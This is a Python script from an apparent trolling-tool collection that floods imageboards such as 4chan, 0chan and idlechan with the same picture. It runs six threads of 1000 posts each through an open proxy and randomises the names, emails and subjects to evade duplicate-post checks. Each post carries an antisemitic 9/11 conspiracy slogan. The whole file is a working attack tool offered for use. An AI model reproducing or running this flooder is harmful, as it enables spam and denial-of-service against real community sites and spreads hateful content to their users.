source: trollforge/unsorted/old-trollforges/dsp-trollforge/4chan/Chanrapepic.py @ 605

# futarape.chanrapepic
# (part of the futarape futabally board flooding Python script collection
#  by rolloffle)
#
# tries to flood a futabally site with postings of the same picture
# doesn't work too well; more of a proof-of-concept than anything else

import httplib
import mimetypes
from random import choice, randrange
from sys import exit
from time import strftime
import threading

##########################################################################
# this is a series of preconfigured setups for flooding 0chan, 4chan and #
# idlechan                                                                                                                           #
##########################################################################

preconfig = {

        '0chan':
        [
                'http://www.0chan.net/',
                [ 'w' ],
                '512000'
        ],

        '4chan':
        [
                'http://img.4chan.org/',
                [ 'a', 'b', 'c', 'd', 'f', 'h', 'l', 'p', 'r', 's', 't', 'u', 'w'],
                '1048576'
        ],

        'idlechan':
        [
                'http://www.idlechan.org/',
                [ 'a', 'c', 'l', 'p', 'sw' ],
                '1048576'
        ]

}

# global config

config = preconfig['idlechan']
msg = 'Propz to GNAA. Jewz did WTC!'
proxies = [
        ('12.150.226.1', 80),
#       ('12.9.30.37', 80)
#       '24.45.25.174:81'
#       ('12.9.30.37', 80)
]

# global program vars

numposts = 0

def post_multipart(host, selector, fields, files):
        """
        Post fields and files to an http host as multipart/form-data.
        fields is a sequence of (name, value) elements for regular form fields.
        files is a sequence of (name, filename, value) elements for data to be uploaded as files
        Return the server's response page.
        """
        content_type, body = encode_multipart_formdata(fields, files)
        h = httplib.HTTP(host)
        h.putrequest('POST', selector)
        h.putheader('content-type', content_type)
        h.putheader('content-length', str(len(body)))
        h.endheaders()
        h.send(body)
        errcode, errmsg, headers = h.getreply()
        return h.file.read()

def encode_multipart_formdata(fields, files):
        """
        fields is a sequence of (name, value) elements for regular form fields.
        files is a sequence of (name, filename, value) elements for data to be uploaded as files
        Return (content_type, body) ready for httplib.HTTP instance
        """
        BOUNDARY = '----------ThIs_Is_tHe_bouNdaRY_$'
        CRLF = '\r\n'
        L = []
        for (key, value) in fields:
                L.append('--' + BOUNDARY)
                L.append('Content-Disposition: form-data; name="%s"' % key)
                L.append('')
                L.append(value)
        for (key, filename, value) in files:
                L.append('--' + BOUNDARY)
                L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename))
                L.append('Content-Type: %s' % get_content_type(filename))
                L.append('')
                L.append(value)
        L.append('--' + BOUNDARY + '--')
        L.append('')
        body = CRLF.join(L)
        content_type = 'multipart/form-data; boundary=%s' % BOUNDARY
        return content_type, body

def get_content_type(filename):
        return mimetypes.guess_type(filename)[0] or 'application/octet-stream'

def rndchars(x):
        str = ""
        for i in range(randrange(x, x + 3)):
                str = str + choice('abcdefghijklmnopqrstuvwxyz').lower()
        return str

class Flood(threading.Thread):

        def run(self):

                global config
                global msg
                global numposts
                global proxies

                #self.proxy = choice(proxies)
                self.proxy = '12.150.226.1:80'

                for blah in range(1000):

                        # flood a random board
                        self.board = choice(config[1])
                        self.url = config[0] + self.board + '/imgboard.php'

                        # read in image
                        self.f = open('flood.jpg', 'rb')
                        self.body = self.f.read()
                        self.f.close()
                        self.files = [ [ 'upfile', 'flood.jpg', self.body ] ]

                        self.fields = [
                                ('mode', 'regist'),
                                ('MAX_FILE_SIZE', config[2]),
                                ('name', rndchars(6)),
                                ('email', rndchars(5) + '@' + rndchars(6) + '.net'),
                                ('sub', rndchars(10)),
                                ('com', msg + '\n\n' + rndchars(30)),
                                ('textonly', ''),
                                ('pwd', rndchars(7))
                        ]

                        self.resp = post_multipart(self.proxy, self.url, self.fields, self.files)

                        if self.resp.find('><b>Error: Duplicate file entry detected.') != -1:
                                print 'Dupe detected.'
                                continue

                        print self.resp

                #       try:
                #               self.f = self.opendev.open(config[0] + board + '/imgboard.php', self.par)
                #               self.str = self.f.read(10000)
                #       except:
                #               print 'Post attempt fucked up lol.'
                #               continue

                #       if self.str.find('Proxy detected on ') != -1:
                #               print 'This is a known proxy. (' + strftime('%H:%M:%S') + ')'
                #               exit(0)

                #       if self.str.find('error 403') != -1:
                #               print 'This proxy is 403. (' + strftime('%H:%M:%S') + ')'
                #               exit(0)

                        numposts += 1
                        if not (numposts % 10) or (numposts == 1):
                                print 'Post attempt #' + str(numposts) + ' (' + config[0] + self.board + ')'

threads = [ ]

for i in range(6):
        newflood = Flood()
        threads.append(newflood)

for thread in threads:
        thread.start()